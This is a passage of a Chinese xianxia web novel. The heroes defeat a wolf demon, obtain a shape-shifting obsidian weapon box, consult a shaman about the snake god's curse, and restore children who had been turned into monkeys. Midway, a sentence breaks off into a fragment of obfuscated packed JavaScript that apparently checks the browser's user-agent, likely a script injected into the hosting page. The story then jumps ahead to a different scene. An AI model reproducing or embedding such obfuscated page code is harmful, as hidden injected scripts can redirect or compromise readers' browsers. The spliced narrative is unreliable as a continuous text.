金色的屏障中融合了一道幽紫的力量,强悍而又澎湃,就如同大海一般。 步云邪回头一望,段星河的手掌抵在他的背心,将自己的灵力借给了他。正邪两股力量相抗,在山谷中掀起了一阵飓风,伥鬼们被吹得东倒西歪,树叶被卷的飞上了天。 宋胡缨方才被妖魔撞伤了腹部,此时还站不起来,吐了一口血道:“快去帮他!” 李玉真连忙冲上去,手掌抵在步云邪的背心,将自己的灵力也灌注进去。那三人的灵力融合在一起,形成一股极强的力量,渐渐压制住了大妖。炽尊狼姥的身躯向后滑去,尖锐的爪子在地上抓出了几道痕迹,终于还是抵挡不住那股力量,轰地一声被撞得飞了出去。 伥鬼们一阵惊呼,没想到它们费尽心机召唤出来的妖魔居然会败在这几个毛头小子手上。大妖愤怒地咆哮,鲜血从嘴角涌了出来,胸口的月牙也被染得通红。 薛红玉十分诧异,上前道:“魔神,您怎么样了?” 炽尊狼姥丢了面子,朝她怒吼了一声。薛红玉吓了一跳,向后退去,一边道:“我是您的仆人,是我把您召唤出来的……您需要我做什么?” 炽尊狼姥张开血盆大口,一道旋转的气流生了出来。地上的尸体、飘荡的伥鬼都被它吸了进去。它刚从沉睡中苏醒,身体还没有完全恢复,就被这些人打了个措手不及。 它吞吃了大量的尸体和鬼魂,勉强修补了身体的创伤,也不敢跟那些年轻人再纠缠下去了。它胸前的月牙缓缓张开,黑色的灵力投射到半空中,变成了一道黑色的裂缝,由缺到圆。它一跃而起,钻进了那个黑色的空间中,嗡地一声响,庞大的身影就这么消失了。 一切又归于了平静,只留下一地狼藉。众人你看看我,我看看你,一时间都没反应过来是怎么回事。 伏顺道:“没事了?” 赵大海拍了拍盾牌,自豪道:“它被咱们打跑了!” 周围的伥鬼都被炽尊狼姥吃了。段星河看向了薛红玉,她和剩下的几个万象门人有些害怕,往后退去。大个子阿蚺低声道:“大姐,留得青山在,不怕没柴烧,咱们先撤吧。” 薛红玉哼了一声,道:“算他们运气好,咱们改天再找他们算账,走!” 她一挥手,那些残兵败将便跌跌撞撞地跟着她逃了。伏顺虚张声势地追了两步,大声道:“别跑啊,刚才不是厉害得很么?” 那些人一会儿功夫就跑没影了,李玉真去前头扶起了宋胡缨,见她嘴角都是血,紧张道:“没事吧?” 宋胡缨面无表情道:“疼。” 李玉真道:“哪疼?” 宋胡缨道:“哪都疼。” 她抬手擦了一下嘴角,提起了自己的斩马/刀,一瘸一拐地站了起来。刚才步云邪使出全身力气为他们挡住了大妖的攻击,受了不轻的内伤。段星河道:“怎么样?” 步云邪道:“没事……咳。” 他喉头一甜,不想让大家担心,硬生生把血咽了下去。他从怀里掏出一瓶大还丹,倒出两颗药丸吞了下去,气色才稍微缓和了一些。 不光他的情况不乐观,段星河方才拼尽全力跟那大妖战斗,此时胸口隐隐作痛。他尽力压制着煞气,生怕这时候犯病。他道:“赶紧回去,把身体养一养再说。” 段星河往前走了几步,忽然见草丛里有什么映着月光闪烁了一下。他弯腰拨开长草,捡了起来,却是一个水滴形状的黑曜石坠子。他微微皱起了眉头,心道:“这是什么东西?” 29.燕丘 三 黑曜石坠子映着月光,放出淡淡的光芒。段星河想起来了,这是薛红玉手链上的东西,刚才打架的时候甩飞了。 步云邪看了一眼,道:“有什么用?” 段星河在手里抛了抛,道:“就是个装饰吧,也不怎么值钱。” 他正要扔,忽然见宝石上流转过一道幽紫的光芒,里头似乎蕴含着灵力。段星河咦了一声,使出灵力对它轻轻一握,顿时感觉手上的坠子生出了千斤的力量,下意识把它甩了出去。 那坠子落在地上,骤然变得有半人高。众人十分诧异,道:“这是什么鬼?” 步云邪想起方才薛红玉对着这坠子使劲的情形,上前拽了一下上头的铜环。那东西纹丝不动,看来不是所有人都能用它。 段星河身上的煞气还没散去,银色的月光下,能看到黑色的煞气如浪涛一般翻涌。那坠子对他身上的气息有感应,也散发出丝丝缕缕的幽光。步云邪的心思微微一动,道:“星哥,你试试。” 段星河也不知道能不能行,拽住了上面的铜环,凝神用力,感觉拉环居然有些松动。他用力一拽,轰地一声拽出了一柄重剑。 众人十分惊讶,道:“里头真有东西?” 段星河也很诧异,提起那柄剑挥了一下,空气中顿时充满了肃杀之气。伏顺拔了两根头发搭在上面,轻轻一吹,头发悄无声息地断了。 一道银色的光芒从剑刃上流过去,是一柄吹毛立断的宝剑! 剑身上用篆书刻着幽冥二字,应该就是它的名字。这把剑比寻常的剑宽一倍,分量也更沉,灵力充沛,比之前在山洞里捡到的那个没用的剑柄强多了。段星河的膂力强,用一般的剑都发飘,这把剑却沉甸甸的,感觉刚刚好。他一直还没有一把特别趁手的兵器,得到了这把剑,整个人都振奋起来。 步云邪扬起了嘴角,道:“怪不得那女人一直想把它拔出来,可惜她资质有限,驾驭不了它。” 李玉真也很替他高兴,道:“万事讲究一个缘分,既然段兄用着正好,就收着吧。” 段星河把剑插了回去,生怕下次用的时候拽不出来了,又提了一下。这回轰隆一声,拽出来的手感跟先前又有所不同。 众人都看着那边,惊讶地张大了嘴,却见他手里提着的不再是一把剑,而是一口厚实的青铜大锅。大锅侧面的两个耳朵上雕刻着狰狞的饕餮兽头,嘴里衔着硕大的铜环,下头有三只脚。 段星河把手一松,那口锅落在地上,变得巨大而又沉重,像是祭祀时煮肉的道具。 他道:“每次拽出来的东西还不一样?这是什么?” 步云邪道:“好像是……鼎镬。” 段星河感觉有些不可思议,他提起了铜鼎上的环,紫色的幽光一闪,塞回了那个水滴状的匣子里。山谷里异常安静,众人面面相觑,意识到这里头说不定还藏了别的什么东西。段星河缓缓地握住了铜环,道:“猜猜这回是什么?” 李玉真道:“该不会是菜刀吧?” 伏顺道:“我赌一文钱,是把大剪子。” 段星河卯足力气一提,轰地一声,从里头拽出了一个台子。他已经有了经验,拽出来往空中一抛,它自己会落地变大。 一阵烟尘飘过,那东西哐地砸在地上,把泥地夯了个坑。众人在旁边好奇地端详,道:“这是什么?” 台子上挂着一截绳子,在风里幽幽地晃荡,像极了刑场上的东西。 李玉真打了个寒战,道:“啊……好像内个……” 伏顺道:“哪个?” 宋胡缨淡淡道:“绞首架。” 夜风掠过山谷,众人感到一阵森寒。那截绳子一头带着个铜环,另一边的末端破破烂烂的,被血染的通红,台子上也有些斑斑驳驳的血迹,甚至有淡淡的腥气飘了过来。李玉真感觉不太妙,喃喃道:“这东西怎么这么瘆得慌呢?” 大家觉得这玩意儿没有想象中那么有趣了,这是个专门的杀人工具。修真界的大能修炼到化神境界以上,就可以用自身的力量炼化各种宝物。这应该是哪个以施虐为乐的人,做出来折磨人用的。 段星河伸手一拽,台子上的绳索被他扯了下来,绞首架消失了,那截带着血迹的绳子还在,散发出星星点点的光。步云邪沉吟道:“绳子是本体,这是缢索。” 段星河把绳子塞了回去,片刻又从中拽出了一杆长枪,一条带刺的鞭子和一把硕大的弓箭。 段星河的神色凝重,觉得这东西远远超出了他的想象。他把弓箭收了起来,再次拉了一下铜环。这回出现的又是一开始的那把重剑,他喃喃道:“看来没别的了。” 他把剑塞了回去,伸手一按,那只黑色的匣子骤然缩起来,变回了一枚坠子大小。一道幽紫的光芒从黑曜石表面流过,段星河端详着它,皱起了眉头。 就连薛红玉那种天天吃人血肉的女魔头,腌臜之气都浸到了骨子里,也无法操纵这东西。它在自己手里却随心而变,仿佛天生就该受他驱策一般。 这可不是什么好兆头啊——段星河沉默着,一开始的喜悦消失了,变得有些迟疑。光芒流过宝石的表面,带着一股强烈的灵力。 段星河把玩着那块黑曜石,不否认自己确实被它的力量吸引了。这么强大的武器,愿意认自己为主,这本身就是一件可遇而不可求的事。 “我认得你……还是你认得我?” 段星河开玩笑地这么说,那块宝石没有任何反应。 此物会认段星河为主,说明他身上的煞气已经强烈到超过了一般的邪修。段星河很清楚这一点,但他现在正是需要力量的时候,实在没办法弃之不用。他将黑曜石收了起来,道:“先带着看看吧。” 其他人都没什么意见,这法宝便是他的了。 这时候远处火光跳动,呼喊声隐隐传来。牧民们听见这边的战斗声停歇了,过来查看情况。 逃回去的牧民把这边的情况跟家人说了,又有人赶去报告了萨满。萨满派了一队士兵赶过来,大家举着火把来到山谷附近,大妖引起的地震已经平息了,地上还积着些碎石。 段星河等人走了出来,道:“妖魔已经被我们赶走了。” 他们身上满是鲜血,十分疲惫,显然经历了一场恶战。侍卫队长道:“辛苦你们了,救了我们不少人。” 段星河道:“应该的。” 侍卫队长对身后的人道:“进去搜一搜。” 一队人举着火把跟着他进了山谷。有人在石堆里发现了几具牧民的尸体,有个老人,还有一个妇女和两个中年男人,都被石头砸得血肉模糊了。士兵们用担架抬了出来,家属等在山谷外,认出了自己的亲人,撕心裂肺地哭了起来。 那情形让人很不好受,段星河沉默着。步云邪轻声道:“咱们尽力了,大部分人已经被救出来了。” 夜风轻轻吹过,众人感到了一阵凉意。段星河叹了口气,道:“回去吧。” 众人回营地休息了一宿,直到中午也没人起来烧饭。伏顺躺在睡袋里,气息奄奄道:“我怎么浑身都疼啊……我是不是要死了?” 赵大海一直像头牛一样壮实,活到这么大还从来没这么虚弱过。他道:“你别叫了,我的头都要裂开了。” 李玉真像个八十岁的老人家,颤巍巍地翻了个身,道:“啊……我的身体好像不是自己的了,我是不是发烧了?” 几个人都有气无力的,说话就像吹一个透风撒气的哨子,发出吱吱呀呀漏气的声音。 步云邪咳嗽了几声,哑声道:“都别喊了,歇两天就好了。” 昨天为了跟妖魔战斗,步云邪调用了众人的元气,强行提升了他们的战斗力。代价是接下来的几天他们都要这么虚弱地度过了。伏顺道:“二师兄,你这法子不太行啊,我还以为是白给的力量呢。” “天底下哪有白给的东西,”步云邪恹恹地说,“什么东西用了都得还,还不上就拿福报来抵……咳咳,星哥,我想喝水。” 段星河浑身疼的厉害,但他要是不动的话,就更没有别人能动了。他勉强从睡袋里爬出来,去河边打了一桶水。他自己先狂喝了三大碗,歇了片刻,把水送给其他人。步云邪喝了两碗,长舒了一口气,道:“多谢。” 伏顺捧着碗,感觉雪中送炭也不过如此了,泪眼汪汪地说:“大师兄,你怎么知道我快渴死了。” 段星河没心情跟他逗闷子,道:“不知道,顺便的。” 他来到宋胡缨的帐篷前,见她脸色惨白,好像十分虚弱。她昨天被炽尊狼姥踢中了肚子,应该受了内伤。他道:“吃药了吗?” 宋胡缨道:“吃了,我躺一会儿就没事了……能帮我给小对眼弄点饭吗?” 小对眼和墨墨坐在她的帐篷跟前,总算看得出眉眼高低,今天没打架。两个崽子一上午到处扒拉,试图找一点东西吃,把帐篷前的草都啃秃了。段星河从包袱里找到了几块干奶酪和一叠高粱煎饼,用水泡的软了一点,胡乱地扔在了饭盆里,道:“吃吧。” 两个崽子饿坏了,立刻冲过去埋头狂造。段星河找了些干粮,给每个人分了,一瘸一拐地回了自己的帐篷里,又躺了下去。 步云邪拿胳膊肘碰了碰他,道:“吃点东西再睡。” 段星河已经做好了打算,就算大象来踩他们的营地,他也不会起来了。他哑声道:“不饿。” 步云邪躺在旁边,慢吞吞地啃了半个饼,不知不觉又睡着了。休息到傍晚,众人感觉好了一些,总算能出来活动了。赵大海熬了一锅玉米粥,就着干粮和咸菜,凑合对付了晚饭。 一群人坐在帐篷外,就见远处一道烟升了起来。伏顺道:“怎么了?” 段星河站起来,往前走了几步。夜色之中,见火焰熊熊燃烧,一群牧民围着火光,发出哀切的哭声。他意识到了是怎么回事,道:“火葬。” 是昨天死在山谷中的牧民的葬礼。段星河的心情有些沉重,原来遥远的生死,其实离自己很近。如果昨天他们没有去救援,必然会死更多无辜的人。 他本来只想带着身边的人在这个世界活下去。此时却觉得,无论认不认识,每一个生命都有存在的意义,是不能轻易被剥夺的。 风马旗不住飘荡,青烟升腾起来,在夜幕中飘向远处。李玉真道:“送他们一程吧。” 他双手合十,轻声念诵起了悼亡经。段星河一直注视着火光,夜风把他的头发吹得不住舞动,他的神色沉静,心中若有所悟。 休息了数日,众人恢复了健康。宋胡缨带着狼尾巴去附近的凌烟阁分舵交任务了,段星河等人也收拾了一千对狼角,去找萨满交差。 萨满依旧坐在帐篷里,让她的侍卫数完了狼角。她布满皱纹的脸上露出哀伤的表情,抬起手擦了一下眼睛。虽然杀光了妖狼,但她的孙子再也回不来了。 她道:“谢谢,你们帮我报了仇,需要我做什么?” 段星河道:“我中了虺神的诅咒,煞气发作的时候十分痛苦,您能帮我解除么?” 萨满招了招手,道:“过来吧。” 段星河走到她面前,萨满道:“烙印在哪里?” 段星河道:“在心口。” 萨满道:“解开给我看看。” 段星河解开了衣襟,那个印记像一条蛇,盘踞在他的心脏周围。红色的痕迹枝枝叉叉地向四周蔓延开来,萨满伸手一触那个烙印,顿时感到了一股煞气。 她收回了手,摇了摇头道:“抱歉……这个诅咒我也没办法解除。我只是个凡人,你的诅咒是神给的,只有虺神自己能将它消除。或者以后你修炼有成,飞升之后,可以祈求另一位创世神来消除这个印记。” 这煞气时不时就会发作,段星河修炼到飞升还不知道要等到什么年月,恐怕在那之前就已经死了。他本以为找到萨满就可以解决所有的问题,没想到还是白忙一场。 他的神色凝重,道:“难道飞升之后,这诅咒还会跟着我?” 萨满同情地看着他,道:“既然是创世神留下的烙印,就算飞升之后,也还是会跟着你的灵魂。” 段星河简直绝望了,这诅咒居然到死都不放过他。他忍受这一切太久了,怀揣已久的希望又被无情的打碎。自从来到这里,小雨丢了,师父也死了,他珍惜的一切都离他而去。他咬牙道:“为什么是我,我只想安安静静地过日子,却被卷到这里来经历这些,太荒谬了!” 步云邪上前一步,轻声道:“星哥,别激动。” 段星河深吸了一口气,尽量想平静下来,拳头还是紧紧地攥着。萨满静静地坐在上首,手里轻轻地捻着一串泛黄的牛骨珠子。他们跟她的孙儿差不多大,遇上了这样的事,任何人都会感到痛苦,她能够理解段星河的心情。 她道:“你见过虺神吧,有什么感觉?” 段星河眼前浮现起它的模样,阴暗的洞穴里盘踞着一条黑色的大蛇。它并非三头六臂的怪物,浑身却散发着一股让人恐惧的气息,那是一种来自灵魂深处的战栗,很难向人形容。 段星河道:“我看到它的时候,它是一条大蛇。它本身就是邪恶的化身,一靠近它,就感觉整个人都要消融了……对了,它身上还有一股很难闻的气味,很腥,有点臭。” 萨满了然道:“果然如此。” 步云邪忍不住道:“蛇有这种味道不正常吗?” “不正常,”萨满道,“神没有具体的模样,它可以是任何的形态。你们见到它是蛇,也只是它回应了你们心中对它的想象而已。” 青岩山中有很多关于虺神是蛇的描述,壁画里的它也是一条巨蛇的形态,久而久之,大家就这么认为了。但实际它可能真的是一团混沌的存在,超出了任何人能够理解的模样。 萨满对它的形态不怎么在意,却很在意段星河闻到的气味,道:“它是创世神,身上不会有任何味道,除非——” 段星河道:“除非什么?” 萨满的表情严肃起来,道:“除非它正在经历天人五衰。” 众人的神色都有些疑惑,不明白这意味着什么。萨满缓缓道:“天神也有寿命,即将死亡之时,便会出现衣裳秽垢、头上华萎、腋下汗流、身体臭秽、不乐本座,这就是天人五衰。” 萨满道:“这个世界的创世神衰弱得即将死去,它创造的一切都在跟着它崩坏,所以这个世界才会变成这种奇怪的样子。” 她的话超出了众人的认知,大家都是一副愕然的表情。段星河道:“我不明白……太混乱了。” 萨满伸出枯枝似的手,在面前的水晶球上轻轻一拂,一个半透明的虚影浮现在了众人面前。 虚空之中,一黑一白两团气互相交缠,形成了一个圆球,球内生出了山川河流,继而出现了百兽和人类。白色的气化作了一只凤凰,展翅飞在上空。黑色的气沉在下面,变成了一条大蛇,昂首吐信,对上面的凤鸟虎视眈眈。 萨满缓缓道:“虺神和凤神共同创造了这个世界,虺神的吐息化作黑夜,凤神的光芒化作白天。创世之初,虺神偷袭凤神,想独自占据这个世界,结果两败俱伤。凤神为了保护众生,封印了世上大多数妖魔,随即陷入了沉睡。虺神的身体十分虚弱,后来也被人类封印了。但不知什么缘故,它最近已经醒来了。” 段星河跟步云邪互相看了一眼,不敢说话。解除虺神封印的人正是他们的小师妹,要不是魏小雨把那根铁棍拔出来,也不会发生这么多事。 萨满把手一挥,那团幻象散去,又形成了一个新的幻象。一群白衣伥鬼正在围着祭坛膜拜,把鲜血浇灌到一座高大的神像上。她道:“万象门的人一直是虺神忠实的信徒,认为它是万物之主。万象门的教义是恐虐,一直在到处散布痛苦,用邪气滋养虺神。如今他们的神已经苏醒了,需要更多的力量来修复身体,延缓天人五衰。他们便到处寻找被封印的妖魔,把它们释放出来,制造更多恐惧。” 段星河想起了前几天,万象门的那些人确实在举行仪式,复活了胭脂山大妖。当时就有牧民来报告了萨满,向她求助。 段星河道:“炽尊狼姥逃走了,万象门的人也逃了一大半。我们捡到了这个东西,您知道这是什么吗?” 他从腰包里掏出了那个水滴状的黑曜石坠子,递了过去。萨满把手覆盖在上面,解读其中的信息,喃喃道:“重剑、缢索、鼎镬、弓箭……” 众人都十分惊讶,没想到她的灵力这么强,只是触碰到就知道里头藏着什么东西。她道:“这应该是夜游神的幽冥宝匣,已经很多年没有人能开启了。” 段星河早就听许多人提过夜游神,也有人称他为夜尊。一提起此人来,大家就很恐慌,仿佛提起了恶魔的化身。他道:“夜游神是什么人,能说说么?” 萨满叹了口气,道:“你们这些孩子,真的是什么也不知道啊。虺神从前有两个部下,一个叫做日游神,一个叫夜游神,代表着虺神的左翼和右翼。两人共同为它掌管着一个教派,叫做虺教。那两个人虽然是虺神的左膀右臂,却互相嫉妒争竞,一直不对付。虺神沉睡之后,他们就分裂了。日游神创立了千机门,夜游神的部下创立了万象门,几百年来一直各过各的。” 段星河想起了那些操纵机械的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萨满道:“你身边人的血很纯净,可以让他用血帮你暂时压制。但要从根源上解决,只有登阶一途,至少要修到大乘境界才行。” 当初静华真人收李玉真为徒时,便已渡完了天劫,到了大乘境界。他距离飞升只差一步,已经不争朝夕,只是带着小徒弟到处游山玩水,过得悠游自在,也有些眷恋人间的心思。这个世界的修行速度比外界更快,若是运气好,像静华真人那样修到大乘境界,也并非是不可能的事。 萨满看向了步云邪,神色里带着淡淡的欣赏,道:“小后生,你有一颗七窍玲珑心,聪明的很,有你帮忙是他的造化。” 步云邪从小做祭司,身上有一股高华之气,难怪萨满一眼就看出他与别人不同。步云邪轻轻一笑,道:“他是我师兄,互相帮扶是应该的。” 段星河想了一下,又道:“除掉了所有妖魔之后,该怎么登阶?” 萨满道:“那是你们道教的问题,去问蜀山的掌教吧。这个世界供奉凤神最大的道场就是蜀山了,他们会给你帮助的。” 众人眼前的迷雾仿佛被拨开了一片,对未来有了新的目标。萨满的态度慈和,道:“还有问题么?” 步云邪想起了那些被变成猴子的小孩儿,把那件事跟她说了。萨满平静道:“喔,造畜啊,这个简单。你附耳过来——” 她低低地说了一阵子,教了他一段咒语。步云邪一颗七窍玲珑心没白长,听她说了两遍就记住了。 萨满很喜欢聪明人,道:“你有做咒术师的天赋,有机会可以学一学。” 步云邪觉得那些算是旁门左道,师父若是还在,肯定不许。他沉吟着没说话,萨满笑了,觉得这些小孩儿初出茅庐,做人还有些洁癖。以后多在泥巴里打几个滚儿,就知道活命的本事不分高低,总有一天会放下无谓的矜持。 萨满看着他们,庄严道:“你们是外来的变数,一切行为都会影响到这个世界。希望你们以苍生为念,不要做出错误的选择。” 段星河点了点头,道:“我知道了,多谢您。” 萨满微微一笑,道:“去吧,祝你们一路平安,我的孩子们。” 一群人拜别了萨满,回到了营地。宋胡缨已经交上了任务,领了赏钱回来了。她收拾好了行李,开始拆帐篷。李玉真在一旁看着,显得恋恋不舍的,不想就这么跟她分开。 伏顺小声道:“看什么,有话就说呗。” 李玉真道:“我怕她打我。” 伏顺道:“你在这里鬼鬼祟祟的偷看,她才会打你。” 李玉真觉得也有道理,深吸了一口气,鼓起勇气过去道:“那个……宋姑娘,你要走了吗?” 宋胡缨把包袱打了个结,把背篓倒扣过来抖了抖里面的石灰,一边道:“是啊。” 李玉真道:“你接下来要去哪儿?” 宋胡缨一如既往的面无表情,道:“没想好。” 李玉真便道:“那你要不要继续跟我们一起走,互相也有个照应。” 宋胡缨一时间没说话,抬头见其他人也看着这边。段星河开口道:“一起走吧,大家需要你。” 伏顺没脸没皮地道:“是啊,女爹爹。你刀法这么好,你走了谁罩我。” 宋胡缨并不想要他这样的义子,但所有人都诚恳地希望她留下来。小对眼趴在她的背篓上,望着地上的墨墨,好像已经跟它打出了感情,显得也有点舍不得。 这些人确实很有趣,跟他们在一起,以后的旅行应该不会无聊。宋胡缨想了想,说:“好吧。” 众人十分高兴,都露出了笑容。伏顺道:“大师兄,这么大的好事,咱们不得庆祝一下?” 段星河道:“怎么庆祝?” 伏顺搓了搓手道:“咸鸭蛋,开几个让大家都尝尝。” 反正快回中原了,咸鸭蛋吃完了还可以再补充。段星河大方地说:“一人一个,吃完了再走!” 大家欢呼一声,伏顺一个箭步去拿装咸鸭蛋的坛子,赵大海架起了锅,开始煮饭。宋胡缨正式成为了他们中的一员,李玉真最高兴。他们都是大新的人,跟对方在一起就有种亲近的感觉。众人吃完了饭,打算一会儿就拆了帐篷回大幽。 这时候就见远处有两个人走了过来,是其其格和她的阿爸。其其格的父亲前阵子在胭脂山中受了伤,休养了这些天总算恢复了。他牵着几头羊来答谢他们,其其格背着个篓子,里面装满了羊奶酪和皮囊盛的马奶酒。 段星河过去道:“大叔,你怎么来了?” 其其格的父亲道:“多谢你们救我,我给你们送点羊来。” “不用了,”段星河正好跟他们辞行,“我们要走了,一会儿就拔营。” 其其格十分惊讶,她本来以为他们还要在这里待一段时间,没想到今天就要道别了。她心里很舍不得,却又不能挽留他们,只能悄悄地放下了背篓,快步走开了。 大叔说:“那我帮你们把羊捆起来,路上吃嘛。” 他说着拿绳子绑住了羊的四只脚,帮他们放在了大车上。段星河忙活完了,抬起头来,发现其其格一个人跑开了。他走了过去,见她低着头在帐篷后面踱步,显得有点忧郁。段星河出声道:“你怎么了。” 其其格吓了一跳,她眼睛有些红,好像刚哭过,却又装作没事的样子。她低声道:“敖登哥哥,你要走了吗?” 她是个很善良的女孩子,要分别了,段星河也有些不舍。他点了点头,道:“多谢你们这段时间的照应。” 其其格犹豫了一下,望着他道:“那你还回来吗?” 段星河想自已应该不会回来了,但不想让她伤心,道:“可能吧,以后的事谁也说不准。” 其其格明白了他的意思,拨弄着自己的麻花辫,也不知道说什么好。气氛有些压抑,段星河温声道:“有机会来中原的话,给大幽的钦天监捎个信,我就来接你,带你去吃好吃的。” 其其格摇了摇头,道:“我要陪着家人,离不开草原。” 段星河有些遗憾,其其格想了想道:“你们外面也有格桑花吗?” 段星河看着草原上的小野花,五颜六色的很漂亮,但在外面没见过。他摇了摇头,其其格便弯下腰,摘了一朵淡紫色的送给他,道:“那你带一朵走吧。” 阿爸在前面喊她,其其格答应了一声,道:“敖登哥哥,我走了……再见。” 她走出去几步,又恋恋不舍地回头看了他一眼,终于还是跟上父亲离开了。 段星河手里拿着格桑花,紫色的花朵就像她的衣裙,娇艳而又可爱。良久他垂下了眼,要珍惜这一段记忆似的,轻轻地把它别在了衣襟上。 30.千机门 一 一行人回到了大幽白沙郡。驿丞听说他们回来了,十分高兴,肩膀上扛着一只小猴儿来大门前迎接。 “步大人,段兄,你们回来啦,一切顺利么?” 步云邪翻身下了马,道:“托你的福,很顺利。” 他看了一眼小猴,发现猴儿养的皮毛油亮,看来自己不在的这段时间里,驿丞对它们很不错。众人回到了住处,见厢房里满是猴子。猴儿们已经习惯了在这里的生活,有的在呼呼大睡,有的在捉盐粒,过得很安逸。 它们一见段星河回来了,就像一颗小石子投到了湖里。猴儿们纷纷围了上来,吱吱直叫,伸着爪子扯他的衣角,仿佛问他找到把它们变回去的法子没有。 段星河故意逗它们,道:“拽我干什么,兜里没糖。” 猴儿们急的抓耳挠腮,恨不能说人话,可惜就是说不出来。赵大海在一旁哈哈直笑,道:“大师兄,别逗它们啦。” 猴儿们感觉他们好像是有办法,要不然不会这么轻松。步云邪打发道:“好了,你们都出去。” 驿丞揣着手,还想在这里见证奇迹。伏顺道:“法不传六耳,咱们走吧。” 驿丞回头道:“那段兄怎么能留下?” 伏顺道:“他俩好的跟一个人似的,算两个耳朵。” 他抬手一勾,搂着驿丞出去了。段星河比了个嘘的手势,道:“乖乖的,阿云把你们变回去。” 猴儿们顿时蹲在地上站成一排,老老实实的一声也不敢出。 步云邪将灵力凝聚在手中,把手放在一只小猴的身上,念诵萨满教他的咒语。就见一道金光笼罩了那只小猴,它蜷缩的身体渐渐舒展开来,尖锐的爪子变成了人类的手指。他抖了抖身子,身上的猴皮掉了下来,变回了原来的样子,却是那个炸粪坑的二狗。 他没想到自己还能变回人形,激动得浑身发抖,忍不住哇地一声哭了起来。段星河道:“别哭了,耽误他救别人。” 那小孩儿也想忍,可忍不住,哽的直打嗝。段星河只好带他去了隔壁,把巾帕打湿了,给他擦了擦脸,搓下一层金色的猴毛来。 片刻又一个小孩儿跌跌撞撞地出来了,他做猴子久了,都忘了怎么像人一样走路了。两个小孩对视了一眼,又哭了出来,紧紧地抱在了一起。 里头就像产房一样,变回一个孩子,哇地一声嚎啕大哭。 段星河静静地坐在一旁,觉得今天对于他们来说就像新生一样,哭一哭也没什么不好的。 一会儿功夫,步云邪就把三十个孩子都变回来了。一群光溜溜的孩子在屋里放声大哭,那情形十分壮观。段星河搔了搔头,心道:“失策了,没提前准备衣服,这怎么办?” 他把男孩儿分成一堆,女孩儿一堆,隔在了两个屋里,让赵大海赶紧出去给他们买衣裳。 等了一阵子,赵大海扛着一堆衣裳回来,让他们穿上了,总算恢复了正常的模样。 段星河拍了拍手,道:“静一静——听我说。” 他的声音明亮,生的又俊朗,往人群中一站就很吸引人。七嘴八舌的孩子们静了下来,抬头望着他。 段星河道:“今天歇一晚,明天一早官府的人会带你们回家。爹妈问起来,你们就说自己被杂耍班子的人拍晕了,后面的事都不记得了,明白么?” 他是怕说了造畜的事,这些孩子的家里或者邻居会觉得他们是怪物,嫌弃他们。这么离奇的事,一般人很难接受。段星河希望他们能尽快回归原来的生活,他们年纪还小,过个几十年再想起来,只会当成是自己的一场梦,总比一直沉浸在这种恐惧中来得好。 孩子们懵懵懂懂的,但是知道他是为自己好,纷纷点头。次日官府来了人,登记了孩子们的名字,把他们一一送回了家。还有些从外地拐来的孩子,官府也派车送他们回去。 百姓们找了许久,等到现在几乎要放弃了,没想到孩子居然完好无缺地回来了。大街上到处都是喜极而泣的大人和孩子。段星河远远地看着他们,忽然觉得自己奔忙了这么久,做的事还是有意义的。 步云邪走过来道:“总算了结一桩心事。” 段星河道:“辛苦你了。” 步云邪损耗了不少元气,此时有点憔悴,神色却很温和。他道:“能帮到别人,其实是一件很开心的事。” 这一趟出去光路费就花了不少,做好事可以,亏太多也不成。段星河下意识捻了捻手指,道:“官府不是说有赏钱么,什么时候给?” 步云邪笑了,道:“应该就这两天吧,他们现在忙着结案、送孩子,顾不上别的。” 段星河叹了口气,道:“那就再等等。” 回驿馆歇了一天,外头敲锣打鼓的来了一大群人。伏顺听见动静出去看,迎面就被一堆礼物担子淹没了。昨天官府贴出了告示,说钦天监的步司业出来巡察,率领部下从恶人手里救下了三十名孩子,官府已经陆续派人送还回家。百姓们感激的不得了,找回孩子的几家人一合计,凑钱买了些礼物,用红绸妆裹了吹吹打打地送了过来。 伏顺诧异道:“你们这是?” 一名妇人道:“我们想求见步大人,感谢他救了我的孩子。” 步云邪已经听人说了,兄弟几个一起到了大门前。好几篮子红鸡蛋放在路边,旁边的笼子里关着两只大白鹅,还有堆成小山的美酒和鲜花。先前那开干果铺子的男人眼中含泪,激动道:“步大人,多谢您救了我儿子。我老刘家就这一根独苗,您对我们家恩情太大了,请受我一拜!” 步云邪吓了一跳,抢在他跪下之前把他扶住了。他道:“应该的,不必行此大礼。” 其他百姓见他一表人才,又有侠义心肠,都十分喜欢他。一人把一张大红礼单递过来,道:“步大人,这是我们的一点心意,请你一定收下!” 上头写着牛羊、腊肉、粮食、美酒、布匹之类的东西,不算贵重,但都挺实用的。百姓们挣点小钱也不容易,步云邪极力推辞,众人却一定要他收下。几个年轻力壮的小伙子直接把酒挑进了他们的院子里,其他人也一窝蜂地把礼物送了进来。 段星河等人笑吟吟地站在一旁,也与有荣焉。步云邪有些无可奈何,只好道:“多谢各位。” 百姓们报答了恩人,高高兴兴地离开了。驿丞看着满院子的礼物,感慨道:“好人有好报,真好。” 其中一个丢孩子的家里是开酒坊的,送来的几十担美酒都是顶好的杜康,凑近了就能闻到一阵酒香。驿丞耸了耸鼻子,他一向爱喝酒,忍不住咽了一下口水。 大家还要继续旅行,这些酒带着太沉。驿丞帮他们照顾了那么久的猴儿们,也该好好答谢他。步云邪道:“这些酒留下来吧,你跟兄弟们慢慢喝。” 这些都是好酒,喝不完拿去卖了也是一大笔钱。驿丞眼睛一亮,道:“那感情好,我就不客气了!” 隔天官府的赏银送过来了,提供线索给一百两,帮忙把孩子找回来又给一百两。李如芝得知了这消息,特地给他们写了一封表扬信,让信使八百里加急赶来,当众念给他们听。 信上夸奖他们为民除害,给钦天监争光了,他作为司正深感欣慰。实则话里话外暗示他们能有今天的成绩,都是自己领导有方的结果。 众人站在院子里,面无表情地听完了,感觉灌了一脑袋屁话。 宋胡缨没见过他,道:“李司正是谁?” 李玉真道:“是个讨厌鬼。” 伏顺翻了个白眼,道:“他还欣慰,关他屁事。” “就是,”赵大海道,“平时不干活,别人立了功他就来蹭,脸皮比城墙都厚。” 段星河收下了钱,随手把李司正的表扬信扔进炉子里烧了,转头去钱庄把银子兑成了银票。 